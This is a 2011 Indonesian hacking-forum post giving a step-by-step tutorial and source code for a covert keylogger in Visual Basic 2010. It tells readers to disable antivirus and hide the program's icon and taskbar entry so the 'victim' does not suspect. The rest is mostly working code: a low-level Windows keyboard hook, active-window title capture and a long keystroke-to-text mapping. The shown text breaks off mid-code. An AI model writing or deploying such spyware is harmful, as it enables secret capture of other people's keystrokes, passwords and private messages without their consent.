Forum Games Indonesia l Android
™️ Welcome Hacker Newbie Community ™️™️

[-]Yang Belum Punya User DI HnC Harap Register.
[-]Yang Sudah Ada Di HarapKan Log In Terlebih Dahulu.
[-]DaftarKan User Anda Di ™️Special_V.I.P™️(Terdapat Aplikasi Lebih Banyak).

~Thankz For ALL Hacker Newbie Community~
---------------------------------------------------------



 
Vip ForumIndeksPendaftaranLogin
UNTUK MEMBER HnC YANG JARANG ONLINE,KAMI MOHON MAAF APABILA USER ANDA KAMI " DELETE "KARENA KAMI INGIN MEMBERIKAN YANG TERBAIK KEPADA FORUM HnC, KAMI UCAPKAN TERIMA KASIH
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
Latest topics
» Dispenser Cwd-1150 Cosmos
Yesterday at 1:33 pm by indah permata

» Marina Cooler 6 Liter Lion Star
Mon Dec 11, 2017 8:59 am by indah permata

» Coffee maker Plunger 350 Ml Akebonno
Fri Dec 08, 2017 10:21 am by indah permata

» Plunger 350 Ml Akebonno
Mon Dec 04, 2017 8:51 am by indah permata

» Cetakan Puding Ag-06 Eagle
Sat Dec 02, 2017 9:30 am by indah permata

» Botol Acrylic S 1802a Mb-14
Thu Nov 30, 2017 10:04 am by indah permata

» Blender Plastic Bl-101 Pl Miyako
Wed Nov 29, 2017 9:00 am by indah permata

» Aksesoris Pepper Mill 8" Mp-39
Tue Nov 28, 2017 9:52 am by indah permata

» Wiper Glass Br-10 Lion Star
Mon Nov 27, 2017 9:04 am by indah permata

Top posters
indah permata (392)
 
ADMIN (262)
 
nurfatimah (244)
 
juliono (171)
 
Cheater-sejati (147)
 
751_COMMUNITY (129)
 
TRICKâ„¢ (104)
 
AdeListiawan (103)
 
[HnC]Rio™ (99)
 
ID BANNED (87)
 

Share | 
 

 Tutorial buat keylogger sendiri dengan Visual Basic 2010

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
Kurohige
™-MemBeR-™
™-MemBeR-™
avatar

Jumlah posting : 79
Cendol : 98
Reputation : 6
Join date : 22.07.11

PostSubyek: Tutorial buat keylogger sendiri dengan Visual Basic 2010   Sun Jul 31, 2011 3:14 pm

membuat keylogger sendiri pasti seru :lol!: ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik...
:lol!:

komponen VB 2010 :

1) 1 Timer
2) 1 TextBox
3) 2 Label

=========

Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu
:lol!: :=D:
1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini :
[You must be registered and logged in to see this image.]

1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut :
[You must be registered and logged in to see this image.]

2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False.
gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga
[You must be registered and logged in to see this image.]
3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini :
Code:
Public Class Form1
   

End Class

4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih

5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut :
Code:
Public Class Form1
    Public Class KeyboardHook
        Private Const HC_ACTION As Integer = 0
        Private Const WH_KEYBOARD_LL As Integer = 13
        Private Const WM_KEYDOWN = &H100
        Private Const WM_KEYUP = &H101
        Private Const WM_SYSKEYDOWN = &H104
        Private Const WM_SYSKEYUP = &H105

        Private Structure KBDLLHOOKSTRUCT
            Public vkCode As Integer
            Public scancode As Integer
            Public flags As Integer
            Public time As Integer
            Public dwExtraInfo As Integer
        End Structure

        Private Declare Function SetWindowsHookEx Lib "user32" _
        Alias "SetWindowsHookExA" _
        (ByVal idHook As Integer, _
        ByVal lpfn As KeyboardProcDelegate, _
        ByVal hmod As Integer, _
        ByVal dwThreadId As Integer) As Integer

        Private Declare Function CallNextHookEx Lib "user32" _
        (ByVal hHook As Integer, _
        ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByVal lParam As KBDLLHOOKSTRUCT) As Integer

        Private Declare Function UnhookWindowsHookEx Lib "user32" _
        (ByVal hHook As Integer) As Integer


        Private Delegate Function KeyboardProcDelegate _
        (ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByRef lParam As KBDLLHOOKSTRUCT) As Integer


        Public Shared Event KeyDown(ByVal Key As Keys)
        Public Shared Event KeyUp(ByVal Key As Keys)

        Private Shared KeyHook As Integer

        Private Shared KeyHookDelegate As KeyboardProcDelegate

        Public Sub New()

            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        End Sub

        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

            If (nCode = HC_ACTION) Then
                Select Case wParam

                    Case WM_KEYDOWN, WM_SYSKEYDOWN

                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
                    Case WM_KEYUP, WM_SYSKEYUP

                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
                End Select
            End If

            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
        End Function
        Protected Overrides Sub Finalize()

            UnhookWindowsHookEx(KeyHook)
            MyBase.Finalize()
        End Sub
    End Class
    Private WithEvents kbHook As New KeyboardHook
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
    Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
        If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
            If Key = Keys.A Then
                TextBox1.Text = TextBox1.Text & "a"
            ElseIf Key = Keys.B Then
                TextBox1.Text = TextBox1.Text & "b"
            ElseIf Key = Keys.C Then
                TextBox1.Text = TextBox1.Text & "c"
            ElseIf Key = Keys.D Then
                TextBox1.Text = TextBox1.Text & "d"
            ElseIf Key = Keys.E Then
                TextBox1.Text = TextBox1.Text & "e"
            ElseIf Key = Keys.F Then
                TextBox1.Text = TextBox1.Text & "f"
            ElseIf Key = Keys.G Then
                TextBox1.Text = TextBox1.Text & "g"
            ElseIf Key = Keys.H Then
                TextBox1.Text = TextBox1.Text & "h"
            ElseIf Key = Keys.I Then
                TextBox1.Text = TextBox1.Text & "i"
            ElseIf Key = Keys.J Then
                TextBox1.Text = TextBox1.Text & "j"
            ElseIf Key = Keys.K Then
                TextBox1.Text = TextBox1.Text & "k"
            ElseIf Key = Keys.L Then
                TextBox1.Text = TextBox1.Text & "l"
            ElseIf Key = Keys.M Then
                TextBox1.Text = TextBox1.Text & "m"
            ElseIf Key = Keys.N Then
                TextBox1.Text = TextBox1.Text & "n"
            ElseIf Key = Keys.O Then
                TextBox1.Text = TextBox1.Text & "o"
            ElseIf Key = Keys.P Then
                TextBox1.Text = TextBox1.Text & "p"
            ElseIf Key = Keys.Q Then
                TextBox1.Text = TextBox1.Text & "q"
            ElseIf Key = Keys.R Then
                TextBox1.Text = TextBox1.Text & "r"
            ElseIf Key = Keys.S Then
                TextBox1.Text = TextBox1.Text & "s"
            ElseIf Key = Keys.T Then
                TextBox1.Text = TextBox1.Text & "t"
            ElseIf Key = Keys.U Then
                TextBox1.Text = TextBox1.Text & "u"
            ElseIf Key = Keys.V Then
                TextBox1.Text = TextBox1.Text & "v"
            ElseIf Key = Keys.W Then
                TextBox1.Text = TextBox1.Text & "w"
            ElseIf Key = Keys.X Then
                TextBox1.Text = TextBox1.Text & "x"
            ElseIf Key = Keys.Y Then
                TextBox1.Text = TextBox1.Text & "y"
            ElseIf Key = Keys.Z Then
                TextBox1.Text = TextBox1.Text & "z"
            ElseIf Key = Keys.D0 Then
                TextBox1.Text = TextBox1.Text & "0"
            ElseIf Key = Keys.D1 Then
                TextBox1.Text = TextBox1.Text & "1"
            ElseIf Key = Keys.D2 Then
                TextBox1.Text = TextBox1.Text & "2"
            ElseIf Key = Keys.D3 Then
                TextBox1.Text = TextBox1.Text & "3"
            ElseIf Key = Keys.D4 Then
                TextBox1.Text = TextBox1.Text & "4"
            ElseIf Key = Keys.D5 Then
                TextBox1.Text = TextBox1.Text & "5"
            ElseIf Key = Keys.D6 Then
                TextBox1.Text = TextBox1.Text & "6"
            ElseIf Key = Keys.D7 Then
                TextBox1.Text = TextBox1.Text & "7"
            ElseIf Key = Keys.D8 Then
                TextBox1.Text = TextBox1.Text & "8"
            ElseIf Key = Keys.D9 Then
                TextBox1.Text = TextBox1.Text & "9"
            ElseIf Key = Keys.NumPad0 Then
                TextBox1.Text = TextBox1.Text & "0"
            ElseIf Key = Keys.NumPad1 Then
                TextBox1.Text = TextBox1.Text & "1"
            ElseIf Key = Keys.NumPad2 Then
                TextBox1.Text = TextBox1.Text & "2"
            ElseIf Key = Keys.NumPad3 Then
                TextBox1.Text = TextBox1.Text & "3"
            ElseIf Key = Keys.NumPad4 Then
                TextBox1.Text = TextBox1.Text & "4"
            ElseIf Key = Keys.NumPad5 Then
                TextBox1.Text = TextBox1.Text & "5"
            ElseIf Key = Keys.NumPad6 Then
                TextBox1.Text = TextBox1.Text & "6"
            ElseIf Key = Keys.NumPad7 Then
                TextBox1.Text = TextBox1.Text & "7"
            ElseIf Key = Keys.NumPad8 Then
                TextBox1.Text = TextBox1.Text & "8"
            ElseIf Key = Keys.NumPad9 Then
                TextBox1.Text = TextBox1.Text & "9"
            ElseIf Key = Keys.Oemcomma Then
                TextBox1.Text = TextBox1.Text & ","
            ElseIf Key = Keys.OemMinus Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.OemQuotes Then
                TextBox1.Text = TextBox1.Text & "'"
            ElseIf Key = Keys.OemOpenBrackets Then
                TextBox1.Text = TextBox1.Text & "["
            ElseIf Key = Keys.OemCloseBrackets Then
                TextBox1.Text = TextBox1.Text & "]"
            ElseIf Key = Keys.OemQuestion Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.OemPipe Then
                TextBox1.Text = TextBox1.Text & "\"
            ElseIf Key = Keys.Oem1 Then
                TextBox1.Text = TextBox1.Text & ";"
            ElseIf Key = Keys.OemPeriod Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Oemtilde Then
                TextBox1.Text = TextBox1.Text & "`"
            ElseIf Key = Keys.Space Then
                TextBox1.Text = TextBox1.Text & " "
            ElseIf Key = Keys.Enter Then
                TextBox1.Text = TextBox1.Text & vbNewLine
            ElseIf Key = Keys.F1 Then
                TextBox1.Text = TextBox1.Text & "[F1]"
            ElseIf Key = Keys.F2 Then
                TextBox1.Text = TextBox1.Text & "[F2]"
            ElseIf Key = Keys.F3 Then
                TextBox1.Text = TextBox1.Text & "[F3]"
            ElseIf Key = Keys.F4 Then
                TextBox1.Text = TextBox1.Text & "[F4]"
            ElseIf Key = Keys.F5 Then
                TextBox1.Text = TextBox1.Text & "[F5]"
            ElseIf Key = Keys.F6 Then
                TextBox1.Text = TextBox1.Text & "[F6]"
            ElseIf Key = Keys.F7 Then
                TextBox1.Text = TextBox1.Text & "[F7]"
            ElseIf Key = Keys.F8 Then
                TextBox1.Text = TextBox1.Text & "[F8]"
            ElseIf Key = Keys.F9 Then
                TextBox1.Text = TextBox1.Text & "[F9]"
            ElseIf Key = Keys.F10 Then
                TextBox1.Text = TextBox1.Text & "[F10]"
            ElseIf Key = Keys.F11 Then
                TextBox1.Text = TextBox1.Text & "[F11]"
            ElseIf Key = Keys.F12 Then
                TextBox1.Text = TextBox1.Text & "[F12]"
            ElseIf Key = Keys.Delete Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Back Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Down Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Up Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Left Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Right Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Tab Then
                TextBox1.Text = TextBox1.Text & "[TAB]"
            ElseIf Key = Keys.End Then
                TextBox1.Text = TextBox1.Text & "[END]"
            ElseIf Key = Keys.Escape Then
                TextBox1.Text = TextBox1.Text & "[ESC]"
            ElseIf Key = Keys.Divide Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.Decimal Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Subtract Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.Add Then
                TextBox1.Text = TextBox1.Text & "+"
            ElseIf Key = Keys.Multiply Then
                TextBox1.Text = TextBox1.Text & "*"
            End If
        ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
            If Key = Keys.A Then
                TextBox1.Text = TextBox1.Text & "A"
            ElseIf Key = Keys.B Then
                TextBox1.Text = TextBox1.Text & "B"
            ElseIf Key = Keys.C Then
                TextBox1.Text = TextBox1.Text & "C"
            ElseIf Key = Keys.D Then
                TextBox1.Text = TextBox1.Text & "D"
            ElseIf Key = Keys.E Then
                TextBox1.Text = TextBox1.Text & "E"
            ElseIf Key = Keys.F Then
                TextBox1.Text = TextBox1.Text & "F"
            ElseIf Key = Keys.G Then
                TextBox1.Text = TextBox1.Text & "G"
            ElseIf Key = Keys.H Then
                TextBox1.Text = TextBox1.Text & "H"
            ElseIf Key = Keys.I Then
                TextBox1.Text = TextBox1.Text & "I"
            ElseIf Key = Keys.J Then
                TextBox1.Text = TextBox1.Text & "J"
            ElseIf Key = Keys.K Then
                TextBox1.Text = TextBox1.Text & "K"
            ElseIf Key = Keys.L Then
                TextBox1.Text = TextBox1.Text & "L"
            ElseIf Key = Keys.M Then
                TextBox1.Text = TextBox1.Text & "M"
            ElseIf Key = Keys.N Then
                TextBox1.Text = TextBox1.Text & "N"
            ElseIf Key = Keys.O Then
                TextBox1.Text = TextBox1.Text & "O"
            ElseIf Key = Keys.P Then
                TextBox1.Text = TextBox1.Text & "P"
            ElseIf Key = Keys.Q Then
                TextBox1.Text = TextBox1.Text & "Q"
            ElseIf Key = Keys.R Then
                TextBox1.Text = TextBox1.Text & "R"
            ElseIf Key = Keys.S Then
                TextBox1.Text = TextBox1.Text & "S"
            ElseIf Key = Keys.T Then
                TextBox1.Text = TextBox1.Text & "T"
            ElseIf Key = Keys.U Then
                TextBox1.Text = TextBox1.Text & "U"
            ElseIf Key = Keys.V Then
                TextBox1.Text = TextBox1.Text & "V"
            ElseIf Key = Keys.W Then
                TextBox1.Text = TextBox1.Text & "W"
            ElseIf Key = Keys.X Then
                TextBox1.Text = TextBox1.Text & "X"
            ElseIf Key = Keys.Y Then
                TextBox1.Text = TextBox1.Text & "Y"
            ElseIf Key = Keys.Z Then
                TextBox1.Text = TextBox1.Text & "Z"
            ElseIf Key = Keys.D0 Then
                TextBox1.Text = TextBox1.Text & "0"
            ElseIf Key = Keys.D1 Then
                TextBox1.Text = TextBox1.Text & "1"
            ElseIf Key = Keys.D2 Then
                TextBox1.Text = TextBox1.Text & "2"
            ElseIf Key = Keys.D3 Then
                TextBox1.Text = TextBox1.Text & "3"
            ElseIf Key = Keys.D4 Then
                TextBox1.Text = TextBox1.Text & "4"
            ElseIf Key = Keys.D5 Then
                TextBox1.Text = TextBox1.Text & "5"
            ElseIf Key = Keys.D6 Then
                TextBox1.Text = TextBox1.Text & "6"
            ElseIf Key = Keys.D7 Then
                TextBox1.Text = TextBox1.Text & "7"
            ElseIf Key = Keys.D8 Then
                TextBox1.Text = TextBox1.Text & "8"
            ElseIf Key = Keys.D9 Then
                TextBox1.Text = TextBox1.Text & "9"
            ElseIf Key = Keys.NumPad0 Then
                TextBox1.Text = TextBox1.Text & "0"
            ElseIf Key = Keys.NumPad1 Then
                TextBox1.Text = TextBox1.Text & "1"
            ElseIf Key = Keys.NumPad2 Then
                TextBox1.Text = TextBox1.Text & "2"
            ElseIf Key = Keys.NumPad3 Then
                TextBox1.Text = TextBox1.Text & "3"
            ElseIf Key = Keys.NumPad4 Then
                TextBox1.Text = TextBox1.Text & "4"
            ElseIf Key = Keys.NumPad5 Then
                TextBox1.Text = TextBox1.Text & "5"
            ElseIf Key = Keys.NumPad6 Then
                TextBox1.Text = TextBox1.Text & "6"
            ElseIf Key = Keys.NumPad7 Then
                TextBox1.Text = TextBox1.Text & "7"
            ElseIf Key = Keys.NumPad8 Then
                TextBox1.Text = TextBox1.Text & "8"
            ElseIf Key = Keys.NumPad9 Then
                TextBox1.Text = TextBox1.Text & "9"
            ElseIf Key = Keys.Oemcomma Then
                TextBox1.Text = TextBox1.Text & ","
            ElseIf Key = Keys.OemMinus Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.OemQuotes Then
                TextBox1.Text = TextBox1.Text & "'"
            ElseIf Key = Keys.OemOpenBrackets Then
                TextBox1.Text = TextBox1.Text & "["
            ElseIf Key = Keys.OemCloseBrackets Then
                TextBox1.Text = TextBox1.Text & "]"
            ElseIf Key = Keys.OemQuestion Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.OemPipe Then
                TextBox1.Text = TextBox1.Text & "\"
            ElseIf Key = Keys.Oem1 Then
                TextBox1.Text = TextBox1.Text & ";"
            ElseIf Key = Keys.OemPeriod Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Oemtilde Then
                TextBox1.Text = TextBox1.Text & "`"
            ElseIf Key = Keys.Space Then
                TextBox1.Text = TextBox1.Text & " "
            ElseIf Key = Keys.Enter Then
                TextBox1.Text = TextBox1.Text & vbNewLine
            ElseIf Key = Keys.F1 Then
                TextBox1.Text = TextBox1.Text & "[F1]"
            ElseIf Key = Keys.F2 Then
                TextBox1.Text = TextBox1.Text & "[F2]"
            ElseIf Key = Keys.F3 Then
                TextBox1.Text = TextBox1.Text & "[F3]"
            ElseIf Key = Keys.F4 Then
                TextBox1.Text = TextBox1.Text & "[F4]"
            ElseIf Key = Keys.F5 Then
                TextBox1.Text = TextBox1.Text & "[F5]"
            ElseIf Key = Keys.F6 Then
                TextBox1.Text = TextBox1.Text & "[F6]"
            ElseIf Key = Keys.F7 Then
                TextBox1.Text = TextBox1.Text & "[F7]"
            ElseIf Key = Keys.F8 Then
                TextBox1.Text = TextBox1.Text & "[F8]"
            ElseIf Key = Keys.F9 Then
                TextBox1.Text = TextBox1.Text & "[F9]"
            ElseIf Key = Keys.F10 Then
                TextBox1.Text = TextBox1.Text & "[F10]"
            ElseIf Key = Keys.F11 Then
                TextBox1.Text = TextBox1.Text & "[F11]"
            ElseIf Key = Keys.F12 Then
                TextBox1.Text = TextBox1.Text & "[F12]"
            ElseIf Key = Keys.Delete Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Back Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Down Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Up Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Left Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Right Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Tab Then
                TextBox1.Text = TextBox1.Text & "[TAB]"
            ElseIf Key = Keys.End Then
                TextBox1.Text = TextBox1.Text & "[END]"
            ElseIf Key = Keys.Escape Then
                TextBox1.Text = TextBox1.Text & "[ESC]"
            ElseIf Key = Keys.Divide Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.Decimal Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Subtract Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.Add Then
                TextBox1.Text = TextBox1.Text & "+"
            ElseIf Key = Keys.Multiply Then
                TextBox1.Text = TextBox1.Text & "*"
            End If
        ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
            If Key = Keys.D1 Then
                TextBox1.Text = TextBox1.Text + "!"
            ElseIf Key = Keys.D2 Then
                TextBox1.Text = TextBox1.Text + "@"
            ElseIf Key = Keys.D3 Then
                TextBox1.Text = TextBox1.Text + "#"
            ElseIf Key = Keys.D4 Then
                TextBox1.Text = TextBox1.Text + "$"
            ElseIf Key = Keys.D5 Then
                TextBox1.Text = TextBox1.Text + "%"
            ElseIf Key = Keys.D6 Then
                TextBox1.Text = TextBox1.Text + "^"
            ElseIf Key = Keys.D7 Then
                TextBox1.Text = TextBox1.Text + "&"
            ElseIf Key = Keys.D8 Then
                TextBox1.Text = TextBox1.Text + "*"
            ElseIf Key = Keys.D9 Then
                TextBox1.Text = TextBox1.Text + "("
            ElseIf Key = Keys.D0 Then
                TextBox1.Text = TextBox1.Text + ")"
            ElseIf Key = Keys.A Then
                TextBox1.Text = TextBox1.Text & "A"
            ElseIf Key = Keys.B Then
                TextBox1.Text = TextBox1.Text & "B"
            ElseIf Key = Keys.C Then
                TextBox1.Text = TextBox1.Text & "C"
            ElseIf Key = Keys.D Then
                TextBox1.Text = TextBox1.Text & "D"
            ElseIf Key = Keys.E Then
                TextBox1.Text = TextBox1.Text & "E"
            ElseIf Key = Keys.F Then
                TextBox1.Text = TextBox1.Text & "F"
            ElseIf Key = Keys.G Then
                TextBox1.Text = TextBox1.Text & "G"
            ElseIf Key = Keys.H Then
                TextBox1.Text = TextBox1.Text & "H"
            ElseIf Key = Keys.I Then
                TextBox1.Text = TextBox1.Text & "I"
            ElseIf Key = Keys.J Then
                TextBox1.Text = TextBox1.Text & "J"
            ElseIf Key = Keys.K Then
                TextBox1.Text = TextBox1.Text & "K"
            ElseIf Key = Keys.L Then
                TextBox1.Text = TextBox1.Text & "L"
            ElseIf Key = Keys.M Then
                TextBox1.Text = TextBox1.Text & "M"
            ElseIf Key = Keys.N Then
                TextBox1.Text = TextBox1.Text & "N"
            ElseIf Key = Keys.O Then
                TextBox1.Text = TextBox1.Text & "O"
            ElseIf Key = Keys.P Then
                TextBox1.Text = TextBox1.Text & "P"
            ElseIf Key = Keys.Q Then
                TextBox1.Text = TextBox1.Text & "Q"
            ElseIf Key = Keys.R Then
                TextBox1.Text = TextBox1.Text & "R"
            ElseIf Key = Keys.S Then
                TextBox1.Text = TextBox1.Text & "S"
            ElseIf Key = Keys.T Then
                TextBox1.Text = TextBox1.Text & "T"
            ElseIf Key = Keys.U Then
                TextBox1.Text = TextBox1.Text & "U"
            ElseIf Key = Keys.V Then
                TextBox1.Text = TextBox1.Text & "V"
            ElseIf Key = Keys.W Then
                TextBox1.Text = TextBox1.Text & "W"
            ElseIf Key = Keys.X Then
                TextBox1.Text = TextBox1.Text & "X"
            ElseIf Key = Keys.Y Then
                TextBox1.Text = TextBox1.Text & "Y"
            ElseIf Key = Keys.Z Then
                TextBox1.Text = TextBox1.Text & "Z"
            ElseIf Key = Keys.Oemcomma Then
                TextBox1.Text = TextBox1.Text & "<"
            ElseIf Key = Keys.OemMinus Then
                TextBox1.Text = TextBox1.Text & "_"
            ElseIf Key = Keys.OemOpenBrackets Then
                TextBox1.Text = TextBox1.Text & "{"
            ElseIf Key = Keys.OemCloseBrackets Then
                TextBox1.Text = TextBox1.Text & "}"
            ElseIf Key = Keys.OemQuestion Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.OemPipe Then
                TextBox1.Text = TextBox1.Text & "|"
            ElseIf Key = Keys.Oem1 Then
                TextBox1.Text = TextBox1.Text & ":"
            ElseIf Key = Keys.OemPeriod Then
                TextBox1.Text = TextBox1.Text & ">"
            ElseIf Key = Keys.Oemtilde Then
                TextBox1.Text = TextBox1.Text & "~"
            ElseIf Key = Keys.OemQuotes Then
                TextBox1.Text = TextBox1.Text & Label1.Text
            ElseIf Key = Keys.Space Then
                TextBox1.Text = TextBox1.Text & " "
            ElseIf Key = Keys.Enter Then
                TextBox1.Text = TextBox1.Text & vbNewLine
            ElseIf Key = Keys.F1 Then
                TextBox1.Text = TextBox1.Text & "[F1]"
            ElseIf Key = Keys.F2 Then
                TextBox1.Text = TextBox1.Text & "[F2]"
            ElseIf Key = Keys.F3 Then
                TextBox1.Text = TextBox1.Text & "[F3]"
            ElseIf Key = Keys.F4 Then
                TextBox1.Text = TextBox1.Text & "[F4]"
            ElseIf Key = Keys.F5 Then
                TextBox1.Text = TextBox1.Text & "[F5]"
            ElseIf Key = Keys.F6 Then
                TextBox1.Text = TextBox1.Text & "[F6]"
            ElseIf Key = Keys.F7 Then
                TextBox1.Text = TextBox1.Text & "[F7]"
            ElseIf Key = Keys.F8 Then
                TextBox1.Text = TextBox1.Text & "[F8]"
            ElseIf Key = Keys.F9 Then
                TextBox1.Text = TextBox1.Text & "[F9]"
            ElseIf Key = Keys.F10 Then
                TextBox1.Text = TextBox1.Text & "[F10]"
            ElseIf Key = Keys.F11 Then
                TextBox1.Text = TextBox1.Text & "[F11]"
            ElseIf Key = Keys.F12 Then
                TextBox1.Text = TextBox1.Text & "[F12]"
            ElseIf Key = Keys.Delete Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Back Then
                TextBox1.Text = TextBox1.Text & "[DEL]"
            ElseIf Key = Keys.Down Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Up Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Left Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Right Then
                TextBox1.Text = TextBox1.Text & "?"
            ElseIf Key = Keys.Tab Then
                TextBox1.Text = TextBox1.Text & "[TAB]"
            ElseIf Key = Keys.End Then
                TextBox1.Text = TextBox1.Text & "[END]"
            ElseIf Key = Keys.Escape Then
                TextBox1.Text = TextBox1.Text & "[ESC]"
            ElseIf Key = Keys.Divide Then
                TextBox1.Text = TextBox1.Text & "/"
            ElseIf Key = Keys.Decimal Then
                TextBox1.Text = TextBox1.Text & "."
            ElseIf Key = Keys.Subtract Then
                TextBox1.Text = TextBox1.Text & "-"
            ElseIf Key = Keys.Add Then
                TextBox1.Text = TextBox1.Text & "+"
            ElseIf Key = Keys.Multiply Then
                TextBox1.Text = TextBox1.Text & "*"
            End If
        ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
            If Key = Keys.D1 Then
                TextBox1.Text = TextBox1.Text + "1"
            ElseIf Key = Keys.D2 Then
                TextBox1.Text = TextBox1.Text + "2"
            ElseIf Key = Keys.D3 Then
                TextBox1.Text = TextBox1.Text + "3"
            ElseIf Key = Keys.D4 Then
                TextBox1.Text = TextBox1.Text + "4"
            ElseIf Key = Keys.D5 Then
                TextBox1.Text = TextBox1.Text + "5"
            ElseIf Key = Keys.D6 Then
                TextBox1.Text = TextBox1.Text + "6"
            ElseIf Key = Keys.D7 Then
                TextBox1.Text = TextBox1.Text + "7"
            ElseIf Key = Keys.D8 Then
                TextBox1.Text = TextBox1.Text + "8"
            ElseIf Key = Keys.D9 Then
                TextBox1.Text = TextBox1.Text + "9"
            ElseIf Key = Keys.D0 Then
                TextBox1.Text = TextBox1.Text + "0"
            ElseIf Key = Keys.A Then
                TextBox1.Text = TextBox1.Text & "a"
            ElseIf Key = Keys.B Then
                TextBox1.Text = TextBox1.Text & "b"
            ElseIf Key = Keys.C Then
                TextBox1.Text = TextBox1.Text & "c"
            ElseIf Key = Keys.D Then
                TextBox1.Text = TextBox1.Text & "d"
            ElseIf Key = Keys.E Then
                TextBox1.Text = TextBox1.Text & "e"
            ElseIf Key = Keys.F Then
                TextBox1.Text = TextBox1.Text & "f"
            ElseIf Key = Keys.G Then
                TextBox1.Text = TextBox1.Text & "g"
            ElseIf Key = Keys.H Then
                TextBox1.Text = TextBox1.Text & "h"
            ElseIf Key = Keys.I Then
                TextBox1.Text = TextBox1.Text & "i"
            ElseIf Key = Keys.J Then
                TextBox1.Text = TextBox1.Text & "j"
            ElseIf Key = Keys.K Then
                TextBox1.Text = TextBox1.Text & "k"
            ElseIf Key = Keys.L Then
                TextBox1.Text = TextBox1.Text & "l"
            ElseIf Key = Keys.M Then
                TextBox1.Text = TextBox1.Text & "m"
            ElseIf Key = Keys.N Then
                TextBox1.Text = TextBox1.Text & "n"
            ElseIf Key = Keys.O Then
                TextBox1.Text = TextBox1.Text & "o"
            ElseIf Key = Keys.P Then
                TextBox1.Text = TextBox1.Text & "p"
            ElseIf Key = Keys.Q Then
                TextBox1.Text = TextBox1.Text & "q"
            ElseIf Key = Keys.R Then
                TextBox1.Text = TextBox1.Text & "r"
            ElseIf Key = Keys.S Then
                TextBox1.Text = TextBox1.Text & "s"
            ElseIf Key = Keys.T Then
                TextBox1.Text = TextBox1.Text & "t"
            ElseIf Key = Keys.U Then
                TextBox1.Text = TextBox1.Text & "u"
            ElseIf Key = Keys.V Then
                TextBox1.Text = TextBox1.Text & "v"
            ElseIf Key = Keys.W Then
